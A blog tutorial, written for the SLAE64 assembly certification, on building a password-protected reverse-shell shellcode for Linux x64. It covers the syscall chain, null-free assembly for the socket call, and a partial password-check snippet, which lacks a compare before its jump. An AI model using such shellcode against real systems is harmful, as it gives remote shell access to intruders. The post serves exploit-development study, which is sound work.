Writing a Password Protected Reverse Shell (Linux/x64)

Photo by Thomas Jensen on Unsplash

Stage One: General Overview

First of all, what are we trying to achieve here? Our goal is to write shellcode for the Linux x64 architecture that will connect back to a remote location over TCP/IPv4 and provide a shell only after the remote client provides a valid password.

In order to write a regular reverse shell, we need to chain several syscalls. The exact order is the following (we’ll take care of the authentication later):

1- We create a new socket to manage the new connection with the socket syscall

2- We connect to the target address issuing the connect syscall

3- We duplicate each standard stream into the new connection stream using the dup2 syscall, so the target machine can read and write messages to and from the source machine

4- We open up a shell by using the execve syscall

Each of these syscalls has a signature we need to address. Certain registers must contain specific values. For example, the rax register is used to identify the syscall that is executed so it should always contain the syscall number. A whole document containing a full syscall table can be found here

No, we are not writing HTML! — Photo by Markus Spiske on Unsplash

Stage Two: Writing a Syscall

Let’s see an example of how to write a syscall

A Simple Syscall: Socket (0x29)

48c7c029000000 mov rax,0x29 ; this is the socket syscall number
48c7c702000000 mov rdi,0x02 ; 0x02 correponds with IPv4
4831f6 xor rsi,rsi
48ffc6 inc rsi ; 0x01 correponds with TCP
31d2 xor edx,edx ; 0 corresponds with protocol sub-family
0f05 syscall ; executes the syscall

Now, this code has some issues. First of all, it’s remarkably long (48 bytes to be precise). Second, it contains a lot of null bytes. Let’s try to fix that!

A More Realistic Approach: Socket (0x29)

The following implementation is 12 bytes long (a quarter of the last example) and contains no null bytes:

6a29 push 0x29
58 pop rax ; sets rax to 0x29 without nullbytes
6a02 push 0x02
5f pop rdi ; same technique for rdi
6a01 push 0x01
5e pop rsi ; same for rsi
99 cdq ; setting rdx to 0 using just one byte
0f05 syscall

In order to put together the reverse shell, we need to write every syscall like this last example. Let’s move on to a draft implementation!

Photo by Bartosz Kwitkowski on Unsplash

Stage Three: Authentication

In order to add authentication, we need to read from the client file descriptor and compare the input against a password before executing the shell. The code should look roughly like this:

; 6 - Handle incoming connection
; 6.1 - Save client fd and close parent fd
mov r9, rax ; store the client socket fd into r9
; this is not mandatory, may be commented out to save some space
push syscalls.close
pop rax ; close parent
; 6.2 - Read password from the client fd
xor rax, rax ; read syscall == 0x00
mov rdi, r9 ; from client fd
push 4
pop rdx ; rdx = input size
sub rsp, rdx
mov rsi, rsp ; rsi => buffer
; 6.3 - Check password
mov rax, config.password
mov rdi, rsi
jne read_pass

Basically, we read from the client file descriptor, then compare the input against a given password and repeat the process until it succeeds.

Photo by Christian Wiediger on Unsplash

Stage Three: Writing a Reverse Shell

Armed with all our knowledge we are now prepared to chain every syscall and put together our reverse TCP shell. The following is an example implementation with added comments aimed to clarify each part of the process:

Photo by Mathew Schwartz on Unsplash

Stage Four: Testing!

We can check the bind shell is working by assembling and linking this file, then extracting the shellcode and running it. I have some custom scripts that make this process a little bit easier by automating the assembly and linking process, the shellcode extraction and the generation of test skeletons to run our shellcode into. You may want to check those scripts and/or use them yourself (and report bugs/improvements of course!).

In order to test this we need to get something like netcat listening on port 4444, then fire our shellcode and it should connect back to our server. Here’s a graphic example:

We can also confirm/debug the syscalls being made by using strace. In the following recording, you can go ahead and find the socket & connect combo, then the repeated read syscalls, and finally, the dup2 * 3 and execve after the right password is provided.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64–1326
Source code for the last version can be found here